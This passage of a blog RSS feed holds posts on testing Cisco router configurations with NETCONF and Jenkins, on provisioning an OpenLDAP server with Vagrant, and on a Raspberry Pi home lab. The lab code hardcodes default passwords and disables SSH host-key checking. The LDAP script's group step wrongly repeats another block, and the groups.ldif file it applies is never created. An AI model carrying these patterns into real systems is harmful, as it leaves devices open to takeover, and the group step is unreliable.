it by using the following commands:</p><pre><strong>netconf-yang</strong></pre><pre><strong>netconf-yang feature candidate-datastore</strong></pre><h4>Getting the device configuration (get_config.py)</h4><pre>##get_config.py</pre><pre>from ncclient import manager</pre><pre>with manager.connect(host=&quot;192.168.33.56&quot;, port=830, username=&quot;admin&quot;, hostkey_verify=False, password=&quot;cisco&quot;, device_params={&#39;name&#39;:&#39;csr&#39;}) as m:</pre><pre>    c = m.get_config(source=&#39;running&#39;).data_xml</pre><pre>print(c)</pre><p>This returns the running configuration of the device in xml format</p><h4>Editing the device configuration (configure.py)</h4><p>To edit a configuration you first need to produce an xml file, where the schema of the xml, matches the capabilities the router offers. If you want to check the capabilities the router offers, you need to run a “netconf hello”. A hello can be run using ssh from a terminal.</p><pre><strong>ssh -p 830 username@routerAddress -s netconf</strong></pre><p>Another option is to use netconf-console. This is a python library that can be installed using pip.</p><pre><strong>pip install netconf-console</strong></pre><p>With netconf-console, you can run hello messages to check the capabilities and you can also get the device configuration, and the schema for a particular capability.</p><pre>netconf-console --user=admin --password=cisco --port=830 --host=192.168.33.56 --hello</pre><pre>netconf-console --user=admin --password=cisco --port=830 --host=192.168.33.56 --get-config</pre><pre>netconf-console --user=admin --password=cisco --port=830 --host=192.168.33.56 --get-schema=CISCO-IOS-XE-vlan</pre><p>Following the schema for the interface configuration, I created an xml file (config.xml) to configure interface GigabitEthernet2.</p><pre>&lt;config xmlns:xc=&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot;&gt;</pre><pre>&lt;interfaces xmlns=&quot;urn:ietf:params:xml:ns:yang:ietf-interfaces&quot;&gt;</pre><pre>&lt;interface&gt;</pre><pre>&lt;name&gt;GigabitEthernet1&lt;/name&gt;</pre><pre>&lt;type xmlns:ianaift=&quot;urn:ietf:params:xml:ns:yang:iana-if-type&quot;&gt;ianaift:ethernetCsmacd&lt;/type&gt;</pre><pre>&lt;enabled&gt;true&lt;/enabled&gt;</pre><pre>&lt;ipv4 xmlns=&quot;urn:ietf:params:xml:ns:yang:ietf-ip&quot;&gt;</pre><pre>&lt;address&gt;</pre><pre>&lt;ip&gt;192.168.33.56&lt;/ip&gt;</pre><pre>&lt;netmask&gt;255.255.255.0&lt;/netmask&gt;</pre><pre>&lt;/address&gt;</pre><pre>&lt;/ipv4&gt;</pre><pre>&lt;ipv6 xmlns=&quot;urn:ietf:params:xml:ns:yang:ietf-ip&quot;/&gt;</pre><pre>&lt;/interface&gt;</pre><pre>&lt;interface&gt;</pre><pre>&lt;name&gt;GigabitEthernet2&lt;/name&gt;</pre><pre>&lt;type xmlns:ianaift=&quot;urn:ietf:params:xml:ns:yang:iana-if-type&quot;&gt;ianaift:ethernetCsmacd&lt;/type&gt;</pre><pre>&lt;enabled&gt;true&lt;/enabled&gt;</pre><pre>&lt;ipv4 xmlns=&quot;urn:ietf:params:xml:ns:yang:ietf-ip&quot;&gt;</pre><pre>&lt;address&gt;</pre><pre>&lt;ip&gt;192.168.99.56&lt;/ip&gt;</pre><pre>&lt;netmask&gt;255.255.255.0&lt;/netmask&gt;</pre><pre>&lt;/address&gt;</pre><pre>&lt;/ipv4&gt;</pre><pre>&lt;ipv6 xmlns=&quot;urn:ietf:params:xml:ns:yang:ietf-ip&quot;/&gt;</pre><pre>&lt;/interface&gt;</pre><pre>&lt;/interfaces&gt;</pre><pre>&lt;/config&gt;</pre><p>Since in the Jenkins pipeline there is going to be a clean up step, to make sure that the configuration is restored after testing a particular deployment, I also recorded the xml interface configuration the router had before I made the change. This way, I can invoke the same script with the original configuration to easily undo my changes.</p><p>The router configuration can be edited with the following python script.</p><pre>##configure.py</pre><pre>from ncclient import manager</pre><pre>with open(&quot;./netconf/configs/config.xml&quot;, &#39;r&#39;) as f:</pre><pre>    configuration= f.read()<br></pre><pre>with manager.connect(host=&quot;192.168.33.56&quot;, port=830, username=&quot;admin&quot;, hostkey_verify=False, password=&quot;cisco&quot;, device_params={&#39;name&#39;:&#39;csr&#39;}) as m:</pre><pre>    load_config_general = m.edit_config(target=&#39;candidate&#39;,</pre><pre>    config=configuration,</pre><pre>    error_option=&#39;rollback-on-error&#39;)</pre><pre>    print(&quot;validating router configuration&quot;)</pre><pre>    validate_result = m.validate(source=&#39;candidate&#39;)</pre><pre>    print(&quot;committing configuration&quot;)</pre><pre>    commit_config = m.commit(confirmed=False, timeout=&#39;300&#39;)</pre><pre>--------------------------------------------------------------------</pre><pre>## clean.py same as configure.py except choosing rollback.xml<br>## which contains old configuration</pre><pre>from ncclient import manager</pre><pre>with open(&quot;./netconf/configs/rollback.xml&quot;, &#39;r&#39;) as f:</pre><pre>    configuration= f.read()</pre><pre>with manager.connect(host=&quot;192.168.33.56&quot;, port=830, username=&quot;admin&quot;, hostkey_verify=False, password=&quot;cisco&quot;, device_params={&#39;name&#39;:&#39;csr&#39;}) as m:</pre><pre>    load_config_general = m.edit_config(target=&#39;candidate&#39;,</pre><pre>    config=configuration,</pre><pre>    default_operation=&quot;replace&quot;,</pre><pre>    error_option=&#39;rollback-on-error&#39;)</pre><pre>    print(&quot;validating router configuration&quot;)</pre><pre>    validate_result = m.validate(source=&#39;candidate&#39;)</pre><pre>    print(&quot;committing configuration&quot;)</pre><pre>    commit_config = m.commit(confirmed=False, timeout=&#39;300&#39;)</pre><h3>Jenkins Pipeline</h3><p>Just like in a DevOps pipeline, the idea behind this DevNet pipeline is to get the configs that we want to test on the router, test them, and if the tests succeed publish the running configuration of the router as an artifact. <br>For this, I first created a github repository. In there I added the netconf scripts, the xml configuration files, the testing scripts and the Jenkinsfile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*V19-1OaWKsOgGiN3suOaJA.png" /><figcaption>Repo File Structure (the vagrant folder not relevant)</figcaption></figure><p>I then integrated my Jenkins pipeline with the push triggers of the repository in order to run a build job every time there is a change to the repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N4yx2_Ja6PiOrRr_fF5ZGw.png" /><figcaption>Jenkins Pipeline Configuration Build Triggers</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBhns8gqs7xB0N1LLdip8Q.png" /><figcaption>Integration With Gitlab for Push Triggers</figcaption></figure><p>For every commit the steps I wanted to run were the following:</p><p>1- Checkout: Get the git workspace with the netconf scripts and the configurations to validate.</p><p>2- Clean up: Restore the router to the baseline configuration. In this case, this meant a configuration where interface GigabitEthernet2 was not configured.</p><p>3- Configure the router. Using the configure.py push the configuration in the xml, which contained an ipv4 address, to to interface GigabiEthernet2.</p><p>4- Test the configuration: In order to test the configuration I created a test.py script to be run, which connects to the device using ssh and performs show commands to validate the interface has been successfully configured. The show commands are <em>show version</em> and <em>show ip interface brief</em>, where I validate that both interfaces are configured correctly. This python scripts produces at the end a test report in junit format, that I then leverage in the pipeline to keep track of the historical test data, and keep track of the success and failures of each build job. This is particularly important because it allows to analyse how testing evolves over the course of a project.</p><pre>## test.py</pre><pre>import random</pre><pre>import unittest</pre><pre>import xmlrunner</pre><pre>import paramiko</pre><pre>import time</pre><pre>class TestRouter(unittest.TestCase):</pre><pre>  def setUp(self):</pre><pre>     self.remotePre = paramiko.SSHClient()</pre><pre>     self.remotePre.set_missing_host_key_policy(<br>paramiko.AutoAddPolicy())</pre><pre>     self.remotePre.connect(&quot;192.168.33.56&quot;, username=&quot;admin&quot;, password=&quot;cisco&quot;, look_for_keys=False, allow_agent=False, timeout=15)</pre><pre>  def test_version(self):</pre><pre>    conn = self.remotePre.invoke_shell()</pre><pre>    conn.send(&quot;show version\n&quot;)</pre><pre>    time.sleep(1)</pre><pre>    out = conn.recv(65535).decode(&#39;utf-8&#39;)</pre><pre>    print(out)</pre><pre>    self.assertIn(&quot;16.12.04a&quot;, out)</pre><pre>    conn.close()</pre><pre>  def test_ip_int_brief1(self):</pre><pre>     conn = self.remotePre.invoke_shell()</pre><pre>     conn.send(&quot;show ip int brief\n&quot;)</pre><pre>     time.sleep(1)</pre><pre>     out = conn.recv(65535).decode(&#39;utf-8&#39;)</pre><pre>     print(out)</pre><pre>     self.assertIn(&quot;GigabitEthernet1       192.168.33.56   YES NVRAM  up                    up&quot;, out)</pre><pre>     conn.close()</pre><pre><br>  def test_ip_int_brief2(self):</pre><pre>    conn = self.remotePre.invoke_shell()</pre><pre>    conn.send(&quot;show ip int brief\n&quot;)</pre><pre>    time.sleep(1)</pre><pre>    out = conn.recv(65535).decode(&#39;utf-8&#39;)</pre><pre>    print(out)</pre><pre>    self.assertIn(&quot;GigabitEthernet2       192.168.99.56   YES other  up                       up&quot;, out)</pre><pre>    conn.close()</pre><pre>  def __del__(self):</pre><pre>    self.remotePre.close()</pre><pre>if __name__ == &#39;__main__&#39;:</pre><pre>  unittest.main(</pre><pre>  testRunner=xmlrunner.XMLTestRunner(output=&#39;test-reports&#39;),</pre><pre>  failfast=False, buffer=False, catchbreak=False)</pre><p>5- Publish the final router configuration. In this step I employ the get_config.py script to get the final router configuration and publish it in Jenkins.</p><p>All these steps are defined in the Jenkinsfile.</p><pre>node {</pre><pre>stage(&#39;Checkout&#39;){</pre><pre>  checkout scm</pre><pre> }</pre><pre>stage(&#39;Clean Up&#39;){</pre><pre> dir(&quot;${env.WORKSPACE}&quot;) {</pre><pre>  sh &#39;python ./netconf/python/clean.py&#39;</pre><pre> }</pre><pre>}</pre><pre>stage(&#39;Configure&#39;) {</pre><pre> dir(&quot;${env.WORKSPACE}&quot;) {</pre><pre>  sh &#39;python ./netconf/python/configure.py&#39;</pre><pre> }</pre><pre>}</pre><pre>stage(&#39;Test&#39;) {</pre><pre>try {</pre><pre> dir(&quot;${env.WORKSPACE}&quot;) {</pre><pre>  sh &#39;python ./test/test.py&#39;</pre><pre>  junit allowEmptyResults: true, testResults: &#39;**/test-reports/*.xml&#39;</pre><pre> }</pre><pre>}</pre><pre>catch(all) {</pre><pre>  junit allowEmptyResults: true, testResults: &#39;**/test-reports/*.xml&#39;</pre><pre>  sh &quot;exit 1&quot;</pre><pre> }</pre><pre>}</pre><pre>stage(&#39;Publish Final&#39;) {</pre><pre> dir(&quot;${env.WORKSPACE}&quot;) {</pre><pre>  sh &#39;python ./netconf/python/get_config.py &gt; finalConfig.xml&#39;</pre><pre>  archiveArtifacts artifacts: &#39;finalConfig.xml&#39;</pre><pre>  }</pre><pre> }</pre><pre>}</pre><h3>Results</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJDuiV2CE3Zseq7hv7GXRg.png" /><figcaption>Successful Jenkins Build Job with the Router Final Configuration and the Historical Test Data</figcaption></figure><p>The end result can be seen in the picture above. The file finalConfig.xml contains the final successful router configuration and the test result trend shows the historical test data (it shows builds 24,25,26 had a test failing).</p><p>If you click on the finalConfig.xml you can be interface GigabitEthernet2 with the updated configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*fuyqtCToIM3bz1e4nUV1hg.png" /><figcaption>Interface GigabitEthernet2 Final Configuration</figcaption></figure><h3>Final Observations</h3><p>It is definitely clear to me now that by leveraging protocols such as Netconf DevNet pipelines can be used at large scale.</p><p>Due to the transactional nature of the protocol, if there is a syntactic problem in your xml configuration, an exception will be raised in python, the pipeline build will fail, but the state of the router will be the same.</p><p>Also, by incorporating junit testing into router configurations, networks can follow a similar pardigmatic approach to software, in that unit testing can happen at the feature level. By doing this, several feature-configurations could be validated (l3VPN, MPLS, BGP…) each with its own set of unit testing. In addition to that, since the router configuration always gets restored to its original state, many teams could use the same underlying infrastructure and many configurations could be validated using this approach.</p><p>Finally, by reviewing published artifacts, valid final router configurations can be stored and be safely moved into production.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bf8224cddfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quickly Set Up an LDAP Server Using Vagrant]]></title>
            <link>https://dlxtomas.medium.com/quickly-set-up-an-ldap-server-using-vagrant-9d0dd851e6de?source=rss-97598046a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d0dd851e6de</guid>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[openldap]]></category>
            <category><![CDATA[vagrant]]></category>
            <category><![CDATA[vagrantfile]]></category>
            <dc:creator><![CDATA[Tomas Delclaux]]></dc:creator>
            <pubDate>Mon, 12 Oct 2020 19:11:20 GMT</pubDate>
            <atom:updated>2020-10-12T19:11:20.859Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>Vagrant is an automation program that makes provisioning virtual machines in your computer easier. The input into the program is a file called Vagrantfile that defines the virtual machine you want to deploy. A provider in the vagrant terminology refers to the hypervisor where you want the virtual machine to be deployed. In this case, I have used VirtualBox. You can use the links below to download them.</p><ul><li>Vagrant: <a href="https://www.vagrantup.com/">https://www.vagrantup.com/</a></li><li>VirtualBox: <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a></li></ul><p>In a mac you can use a homebrew formula:</p><pre><strong>brew cask install vagrant<br>brew cask install virtualbox</strong></pre><h3>Vagrantfile</h3><p>In the file below, it is specified that we want a centos7 vm with 8GB of RAM. Additionally, we are specifying that we want the ports 4389 and 4636 in our PC to be forwarded to the ports 389 and 636 respectively inside the vm. Finally, we specify a provisioning script that will be a bash script (openldap.sh). This script gets executed once the virtual machine is up and running. In this script, the instructions to set up an LDAP server will be written. In the Vagrantfile, the type is “shell” because it is a shell script and the path is relative to the path of the Vagrantfile.</p><pre>Vagrant.configure(&quot;2&quot;) do |config|</pre><pre>config.vm.box = &quot;centos/7&quot;</pre><pre>config.vm.network &quot;forwarded_port&quot;, guest: 389, host: 4389</pre><pre>config.vm.network &quot;forwarded_port&quot;, guest: 636, host: 4636</pre><pre>config.vm.network &quot;private_network&quot;, ip: &quot;192.168.33.13&quot;</pre><pre>config.vm.provider &quot;virtualbox&quot; do |vb|</pre><pre>vb.memory = &quot;8192&quot;</pre><pre>end</pre><pre>config.vm.provision &quot;ldap&quot;, type:&#39;shell&#39;, path: &#39;openldap.sh&#39;, upload_path: &quot;/vagrant/scripts/openldap.sh&quot;</pre><pre>end</pre><p>Create a folder and create a Vagrantfile like the one shown.</p><p>Important!!!! The file has to be called Vagrantfile.</p><h4>Observation:</h4><p>You may be wondering how does centos7 get installed in the virtual machine since in the Vagrantfile there is no path to a centos iso. The key here is that when you specify “config.vm.box = “centos/7”, vagrant fetches a centos7 vm from the vagrant cloud. The vagrant cloud works in a similar way to a docker registry where you can pull and re-use boxes others have made. In this case we are pulling an already made box called centos/7 and using it as the baseline. You can have a look at the available vagrant boxes in:</p><p><a href="https://app.vagrantup.com/boxes/search">Vagrant Cloud by HashiCorp</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GOLz4urHZ0hGtxHLa0-E0g.png" /><figcaption>This is where we obtain the premade centos7 vm</figcaption></figure><h3>OpenLDAP Installation Script</h3><p>The script is more than 100 lines long, so I’m going to break it up to explain the different parts. You can put the script back together by copy pasting each section sequentially.</p><p>1- Installing openLDAP libraries:</p><p>Here we become root in order to install the openLDAP rpms using yum and then start the LDAP server using systemctl.</p><pre>#!/usr/bin/env bash</pre><pre>sudo -s</pre><pre>## Install openldap</pre><pre>yum -y install openldap compat-openldap openldap-clients openldap-servers openldap-servers-sql openldap-devel</pre><pre>systemctl start slapd.service</pre><pre>systemctl enable slapd.service</pre><p>2- Configure LDAP root user and password</p><p>This will be the root user of the server, and it is the user that will have complete write and read access to the configurations of the server.</p><p>In openLDAP configurations are managed in files ending with the .ldif extension. Hence, for every configuration that wants to be pushed to the server, a .ldif file must be first created with the desired configurations. In the sections below, we specify the name of our root directory tree (dc=KingsLanding,dc=Westeros,dc=com) and the name and password of the root user (ldapadm/WinterIsComing).</p><pre>cd /etc/openldap/</pre><pre>## Configure Openldap — db.ldif</pre><pre>echo “dn: olcDatabase={2}hdb,cn=config” &gt;&gt; db.ldif</pre><pre>echo “changetype: modify” &gt;&gt; db.ldif</pre><pre>echo “replace: olcSuffix” &gt;&gt; db.ldif</pre><pre>echo “olcSuffix: dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; db.ldif</pre><pre>echo “” &gt;&gt; db.ldif</pre><pre>echo “dn: olcDatabase={2}hdb,cn=config” &gt;&gt; db.ldif</pre><pre>echo “changetype: modify” &gt;&gt; db.ldif</pre><pre>echo “replace: olcRootDN” &gt;&gt; db.ldif</pre><pre>echo “olcRootDN: cn=ldapadm,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; db.ldif</pre><pre>echo “” &gt;&gt; db.ldif</pre><pre>echo “dn: olcDatabase={2}hdb,cn=config” &gt;&gt; db.ldif</pre><pre>echo “changetype: modify” &gt;&gt; db.ldif</pre><pre>echo “replace: olcRootPW” &gt;&gt; db.ldif</pre><pre>password=$(slappasswd -s WinterIsComing)</pre><pre>echo “olcRootPW: $password” &gt;&gt; db.ldif</pre><p>3- Create the structure of the directory tree</p><p>Here we are creating a structure where at the very top we have <strong>“dc=Kingslanding, dc=Westeros, dc=com”</strong>, and inside there we have the ldapadm user and also a directory of People and another one of Groups. Users in the directory will then be added to People and groups will be configured under Groups.</p><pre>echo “dn: dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “dc: KingsLanding” &gt;&gt; base.ldif</pre><pre>echo “objectClass: top” &gt;&gt; base.ldif</pre><pre>echo “objectClass: domain” &gt;&gt; base.ldif</pre><pre>echo “” &gt;&gt; base.ldif</pre><pre>echo “dn: cn=ldapadm,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “objectClass: organizationalRole” &gt;&gt; base.ldif</pre><pre>echo “cn: ldapadm” &gt;&gt; base.ldif</pre><pre>echo “description: LDAP Manager” &gt;&gt; base.ldif</pre><pre>echo “” &gt;&gt; base.ldif</pre><pre>echo “dn: ou=People,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “objectClass: organizationalUnit” &gt;&gt; base.ldif</pre><pre>echo “ou: People” &gt;&gt; base.ldif</pre><pre>echo “” &gt;&gt; base.ldif</pre><pre>echo “dn: ou=Group,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “objectClass: organizationalUnit” &gt;&gt; base.ldif</pre><pre>echo “ou: Group” &gt;&gt; base.ldif</pre><p>4- Create users</p><p>We create users Robert Baratheon and Theon Greyjoy here. An important consideration here is that from the point of view of the server the name of the user would be “uid=Robert,ou=People,dc=KingsLanding, dc=Westeros, dc=com”, since LDAP works with full domain names.</p><pre>echo “dn: uid=Robert,ou=People,dc=KingsLanding, dc=Westeros, dc=com” &gt;&gt; users.ldif</pre><pre>echo “objectClass: top” &gt;&gt; users.ldif</pre><pre>echo “objectClass: person” &gt;&gt; users.ldif</pre><pre>echo “objectClass: shadowAccount” &gt;&gt; users.ldif</pre><pre>echo “cn: Robert” &gt;&gt; users.ldif</pre><pre>echo “sn: Baratheon” &gt;&gt; users.ldif</pre><pre>echo “uid: Robert” &gt;&gt; users.ldif</pre><pre>password=$(slappasswd -s Robert123)</pre><pre>echo “userPassword: $password” &gt;&gt; users.ldif</pre><pre>echo “” &gt;&gt; users.ldif</pre><pre>echo “dn: uid=Theon,ou=People,dc=KingsLanding, dc=Westeros, dc=com” &gt;&gt; users.ldif</pre><pre>echo “objectClass: top” &gt;&gt; users.ldif</pre><pre>echo “objectClass: person” &gt;&gt; users.ldif</pre><pre>echo “objectClass: shadowAccount” &gt;&gt; users.ldif</pre><pre>echo “cn: Theon” &gt;&gt; users.ldif</pre><pre>echo “sn: Greyjoy” &gt;&gt; users.ldif</pre><pre>echo “uid: Theon” &gt;&gt; users.ldif</pre><pre>password=$(slappasswd -s Theon123)</pre><pre>echo “userPassword: $password” &gt;&gt; users.ldif</pre><p>5- Create groups</p><p>Create and admin an oper group.</p><pre>echo “dn: dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “dc: KingsLanding” &gt;&gt; base.ldif</pre><pre>echo “objectClass: top” &gt;&gt; base.ldif</pre><pre>echo “objectClass: domain” &gt;&gt; base.ldif</pre><pre>echo “” &gt;&gt; base.ldif</pre><pre>echo “dn: cn=ldapadm,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “objectClass: organizationalRole” &gt;&gt; base.ldif</pre><pre>echo “cn: ldapadm” &gt;&gt; base.ldif</pre><pre>echo “description: LDAP Manager” &gt;&gt; base.ldif</pre><pre>echo “” &gt;&gt; base.ldif</pre><pre>echo “dn: ou=People,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “objectClass: organizationalUnit” &gt;&gt; base.ldif</pre><pre>echo “ou: People” &gt;&gt; base.ldif</pre><pre>echo “” &gt;&gt; base.ldif</pre><pre>echo “dn: ou=Group,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; base.ldif</pre><pre>echo “objectClass: organizationalUnit” &gt;&gt; base.ldif</pre><pre>echo “ou: Group” &gt;&gt; base.ldif</pre><p>6- Add users to groups</p><p>Adding Robert to the admin group and Theon to the oper group.</p><pre>echo “dn: cn=admin,ou=Group,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; userGroups.ldif</pre><pre>echo “changetype: modify” &gt;&gt; userGroups.ldif</pre><pre>echo “add: memberUid” &gt;&gt; userGroups.ldif</pre><pre>echo “memberUid: uid=Robert,ou=People,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; userGroups.ldif</pre><pre>echo “” &gt;&gt; userGroups.ldif</pre><pre>echo “dn: cn=oper,ou=Group,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; userGroups.ldif</pre><pre>echo “changetype: modify” &gt;&gt; userGroups.ldif</pre><pre>echo “add: memberUid” &gt;&gt; userGroups.ldif</pre><pre>echo “memberUid: uid=Theon,ou=People,dc=KingsLanding,dc=Westeros,dc=com” &gt;&gt; userGroups.ldif</pre><p>7- Apply the configurations</p><p>In this part we are applying the .ldif files we created before and also applying some standard ones from the openLDAP schema.</p><pre>ldapmodify -Y EXTERNAL -H ldapi:/// -f db.ldif</pre><pre>cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG</pre><pre>chown -R ldap:ldap /var/lib/ldap</pre><pre>ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif</pre><pre>ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif</pre><pre>ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif</pre><pre>ldapadd -x -w WinterIsComing -D “cn=ldapadm,dc=KingsLanding,dc=Westeros,dc=com” -f base.ldif</pre><pre>ldapadd -x -w WinterIsComing -D “cn=ldapadm,dc=KingsLanding,dc=Westeros,dc=com” -f users.ldif</pre><pre>ldapadd -x -w WinterIsComing -D “cn=ldapadm,dc=KingsLanding,dc=Westeros,dc=com” -f groups.ldif</pre><pre>ldapadd -x -w WinterIsComing -D “cn=ldapadm,dc=KingsLanding,dc=Westeros,dc=com” -f userGroups.ldif</pre><h3>Spin it up !!</h3><p>Now to get it up and running all you need to do is to go to the directory where you have the Vagrantfile and the openldap.sh script and run the following:</p><pre><strong>vagrant up</strong></pre><p>This will first fetch the premade centos7 vm, configure the port forwardings and then execute the openldap.sh script. When it completes the execution you can ssh into the vm by running the next command:</p><pre><strong>vagrant ssh</strong></pre><p>Now you should be inside the terminal of the centos7 vm.</p><p>To verify that everything is working fine you can attempt an ldapsearch using the portforwarding.</p><pre><strong>ldapsearch -x -b “dc=Kingslanding, dc=Westeros, dc=com” -D “cn=ldapadm,dc=Kingslanding,dc=Westeros,dc=com” -H ldap://127.0.0.1:4389 -W</strong></pre><p>In this command you are binding as the root user and asking for all the configuration under <strong>“dc=Kingslanding, dc=Westeros, dc=com”.</strong> Notice that since we are running the command from our own PC, we need to access the server using the forwarded port. The result should be the configuration we provisioned the LDAP server with.</p><pre># extended LDIF<br>#<br># LDAPv3<br># base &lt;uid=Theon,ou=People,dc=Kingslanding, dc=Westeros, dc=com&gt; with scope subtree<br># filter: (objectclass=*)<br># requesting: ALL<br>#</pre><pre># Theon, People, KingsLanding.Westeros.com<br>dn: uid=Theon,ou=People,dc=KingsLanding,dc=Westeros,dc=com<br>objectClass: top<br>objectClass: person<br>objectClass: shadowAccount<br>cn: Theon<br>sn: Greyjoy<br>uid: Theon<br>userPassword:: e1NTSEF9M0U5aUo2MVRyVW5CS0tYbDJ5dzgrVy9VUXprTzFvSFA=</pre><pre>--------------------------------------------------------------------</pre><h3>Final Observations</h3><p>What is really cool about using vagrant for this sort of things is that it makes very easy and convenient to have quick sandboxes, which you can quickly deploy to test or develop a feature. For instance, with this example, you can have a sandbox for an LDAP server, that you can share with other colleagues, or use at any time to develop or try any authentication features of any web service you might be working on.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d0dd851e6de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I ended up with a mini home data center using raspberry pi]]></title>
            <link>https://dlxtomas.medium.com/create-a-mini-home-data-center-using-raspberry-pi-f3c8f23f8fdf?source=rss-97598046a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3c8f23f8fdf</guid>
            <category><![CDATA[blog]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <dc:creator><![CDATA[Tomas Delclaux]]></dc:creator>
            <pubDate>Sun, 11 Oct 2020 22:12:42 GMT</pubDate>
            <atom:updated>2020-10-11T22:36:30.244Z</atom:updated>
            <content:encoded><![CDATA[<h4>The story behind the cluster of LED lights sitting under my desk.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*F_coL99ZolOqaJcI2uaxeQ.png" /><figcaption>Rack of raspberry pi connected to switch</figcaption></figure><p>Truth be told, what is now a hobby, was born out of a professional necessity. I was involved in a project and needed to validate an architecture design that contained a cluster of MariaDB SQL databases, and so I started to ask myself how to test this in a lab.</p><p>I thought about AWS but I was already using all of their freebies on other small personal projects and did not feel like increasing my monthly bill. I also thought about deploying a set of virtual machines in my own laptop using VirtualBox, and to be honest, for the test I wanted to do, it would have been perfectly fine; create three small machines, install MariaDB, configure the replica set and test the fail over. But then I thought that maybe I would want to keep a cluster of databases for my own personal use. For example, I thought, I could use it to keep track of my expenses in a more exciting fashion that an excel spreadsheet. So, I decided to get a couple of raspberries,connect them together and have a system where I could try things out and also host useful tools and bots for my own use.</p><p>At this point in time, I already had two raspberry pi 3 that I had used for some experiments, and decided to get two more, one to complete the SQL cluster and the second one to use as a jump server. These last two machines are raspberry pi 4, because I wanted to leverage the 4GB RAM, compared to 1GB RAM of the previous model.</p><p>I was not too concerned initially with cooling the chips to avoid overheating, but I really wanted to rack the four machines together to avoid a mess, and since the rack I bought came with four ventilators, I figured it would be much cooler (joke intended) to set it up with fans.</p><p>To connect them all together I used a five port switch. My idea initially was to use four of the five ports to connect the raspberries and the fifth one as an up link to my home router. This way, I could create a new network for my home raspberry pi data center, which is separate from the one I use to connect to the internet. Unfortunately, the router my ISP provided me cannot be configured and so this plan is on hold at the moment until I replace that router with a better one.</p><p>Here is where I got a bit creative! I wanted to created a separate network for my raspberries to communicate between each other and I also wanted for the machines to be able to connect to the internet to fetch software packages from public mirrors. Consequently, the model 4 machines, I configured with two interfaces; one connected to the home WiFi network and the other to the Ethernet network that connected to the switch. The raspberries would then communicate across the Ethernet network and I could use the WiFi interface as a point of entry into the mini data center from my personal computer and also as a point of exit towards the internet for the raspberries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*tCkS6RzRrvQpHQ4qeGiuSA.png" /><figcaption>Final Topology</figcaption></figure><p>The result ended up working quite nicely. I installed squid to act as an internet proxy in one of the machines, and I configured all of the raspberries model 3 without WiFi access to connect to the internet via the squid proxy. Additionally, I had one machine which I could use as a jump server to connect to it via VNC and control the whole setup. The main advantage I found in having one such jump server, is that you can install raspbian minimal in all machines and only install a GUI in the jump server, thus saving memory in all other machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSODHp3jtjH7vzvGmHJ9DQ.png" /><figcaption>Interface configuration on jump server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8AYh795bNpErSM23pufRA.png" /><figcaption>Ssh from jump server to proxy server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2W5nt6YSKRIllacAqoJYmg.png" /><figcaption>Squid proxy configuration to allow machines internet access</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PAtagwR5wbU4gZXbUtlnQ.png" /><figcaption>Configured proxy in machines without WiFi access</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1Ny2cfeeOufklng5RtEpA.png" /><figcaption>Ping to google does not work because it does not have direct internet access but http traffic is proxied via squid on machine 1.</figcaption></figure><h3>Cool things that can be done on this setup</h3><p>Aside from the limitation that this mini home data center will not be accessible on a public IP address, it can be used for all sort of cool home applications. Right now I’m running a SQL replica set to keep track of my expenses (developing a front end &amp; back end for it too), running a minecraft server on it and a central jupyter-notebook server.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3c8f23f8fdf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>